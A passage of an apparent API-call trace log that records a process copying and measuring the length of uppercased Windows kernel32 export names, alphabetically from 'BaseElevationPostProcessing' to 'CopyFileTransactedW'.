returned="BaseElevationPostProcessing" [0109.262] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0109.262] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0109.262] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0109.262] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0109.262] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0109.262] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0109.262] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0109.262] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0109.262] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0109.262] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0109.262] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0109.263] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0109.263] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0109.263] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0109.263] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0109.263] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0109.263] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0109.263] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0109.263] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0109.263] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0109.263] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0109.263] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0109.263] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0109.263] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0109.263] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0109.263] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0109.263] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0109.263] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0109.263] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0109.263] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0109.263] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0109.263] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0109.263] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0109.263] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0109.263] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0109.263] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0109.263] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0109.263] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0109.263] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0109.263] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0109.263] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0109.263] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0109.264] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0109.264] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0109.264] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0109.264] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0109.264] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0109.264] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0109.264] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0109.264] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0109.264] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0109.264] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0109.264] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0109.264] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0109.264] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0109.264] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0109.264] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0109.264] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0109.264] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0109.264] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0109.264] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0109.264] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0109.264] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0109.264] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0109.264] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0109.264] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0109.264] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0109.264] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0109.264] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0109.264] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0109.264] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0109.264] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0109.265] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0109.265] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0109.265] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0109.265] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0109.265] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0109.265] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0109.265] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0109.265] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0109.265] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0109.265] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0109.265] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0109.265] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0109.265] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0109.265] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0109.265] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0109.265] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0109.265] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0109.265] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0109.265] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0109.265] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0109.265] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0109.265] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0109.265] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0109.265] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0109.265] lstrlenA (lpString="BEEP") returned 4 [0109.265] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0109.265] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0109.265] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0109.265] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0109.265] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0109.265] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0109.265] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0109.266] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0109.266] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0109.266] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0109.266] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0109.266] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0109.266] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0109.266] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0109.266] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0109.266] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0109.266] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0109.266] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0109.266] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0109.266] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0109.266] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0109.266] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0109.266] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0109.266] lstrlenA (lpString="CANCELIO") returned 8 [0109.266] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0109.266] lstrlenA (lpString="CANCELIOEX") returned 10 [0109.266] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0109.266] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0109.267] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0109.267] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0109.267] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0109.267] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0109.267] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0109.267] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0109.267] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0109.267] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0109.267] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0109.267] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0109.267] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0109.267] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0109.267] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0109.267] lstrlenA (lpString="CHECKELEVATION") returned 14 [0109.267] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0109.267] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0109.267] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0109.267] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0109.267] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0109.267] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0109.267] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0109.267] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0109.267] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0109.267] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0109.267] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0109.267] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0109.267] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0109.267] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0109.267] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0109.267] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0109.267] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0109.268] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0109.268] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0109.268] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0109.268] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0109.268] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0109.268] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0109.268] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0109.268] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0109.268] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0109.268] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0109.268] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0109.268] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0109.268] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0109.268] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0109.268] lstrlenA (lpString="CLOSESTATE") returned 10 [0109.268] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0109.268] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0109.268] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0109.268] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0109.268] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0109.268] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0109.268] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0109.268] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0109.268] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0109.268] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0109.268] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0109.268] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0109.268] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0109.268] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0109.268] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0109.268] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0109.269] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0109.269] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0109.269] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0109.269] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0109.269] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0109.269] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0109.269] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0109.269] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0109.269] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0109.269] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0109.269] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0109.269] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0109.269] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0109.269] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0109.269] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0109.269] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0109.269] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0109.269] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0109.269] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0109.269] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0109.269] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0109.269] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0109.269] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0109.269] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0109.269] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0109.269] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0109.269] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0109.269] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0109.269] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0109.269] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0109.269] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0109.270] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0109.270] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0109.270] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0109.270] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0109.270] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0109.270] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0109.270] lstrlenA (lpString="COPYCONTEXT") returned 11 [0109.270] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0109.270] lstrlenA (lpString="COPYFILE2") returned 9 [0109.270] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0109.270] lstrlenA (lpString="COPYFILEA") returned 9 [0109.270] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0109.270] lstrlenA (lpString="COPYFILEEXA") returned 11 [0109.270] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0109.270] lstrlenA (lpString="COPYFILEEXW") returned 11 [0109.270] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0109.270] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0109.270] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0109.270] 